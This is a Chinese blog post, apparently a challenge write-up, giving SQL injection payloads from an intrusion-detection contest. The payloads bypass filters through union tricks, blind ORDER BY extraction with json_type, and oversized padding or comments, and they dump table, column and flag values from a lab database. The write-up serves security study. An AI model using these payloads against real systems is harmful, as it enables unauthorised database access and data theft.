SQL注入
找注入点
字符型注入绕过
username=Tom union select 1 from aa'
username=T'union select 1,2,'3
username=T'union select user(),version(),'3user()[email protected]version()=8.0.28database()=range_test
username=union select , fromusername=123'%2b@a:=(select 'asdasd'from information_schema.tables limit 1)union select user(),@a,'3
username=123'%2b@a:=(select convert(table_name,char(100))from information_schema.tables limit 1)union select user(),@a,'3
username=123'%2b@a:=(select convert(table_name,char(1000))from information_schema.tableswhere table_schema='range_test' limit 0,1)union select 1,@a,'3
username=123'%2b@test:=(select convert(column_name,char(1000))from information_schema.columnswhere table_schema='range_test' and table_name='f149_1s_h3r3'limit 0,1) union select 1,@test,'3
username=123'%2b@test:=(select convert(f14g_c01umn,char(1000))from f149_1s_h3r3 limit 0,1) union select 1,@test,'3
ORDER BY注入绕过
order=goods_name,@a:=(select table_name from information_schema.tableswhere table_schema='range_test' limit 2,1),@b:=(case when substr(@a,12,1)='3' then '1' else 'a' end),json_type(@b)&limit=10
order=goods_name,@a:=(select column_name from information_schema.columnswhere table_schema='range_test' and table_name='f149_1s_h3r3__________' limit 0,1),@b:=(case when substr(@a,4,1)='g' then '1' else 'a' end),json_type(@b)&limit=10
order=goods_name,@a:=(select f14g_c01umn from f149_1s_h3r3__________ limit 0,1),@b:=(case when substr(@a,28,1)='/' then '1' else 'a' end),json_type(@b)&limit=10
超大数据绕过
username=60万字符' union select 1,table_name,3from information_schema.tableswhere table_schema = 'range_test'limit 0,1 --
利用超大注释绕过检测
username=a'/*60万字符*/union select 1,column_name,3from information_schema.columnswhere table_name = 'flag_t4b1lile'limit 0,1 --
最后
由于第四期参与较晚，几个poc基本都重复了，分享一下思路，后续更新第五期
原文始发于微信公众号（XG小刚）：入侵检测挑战赛第四期-SQL注入
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论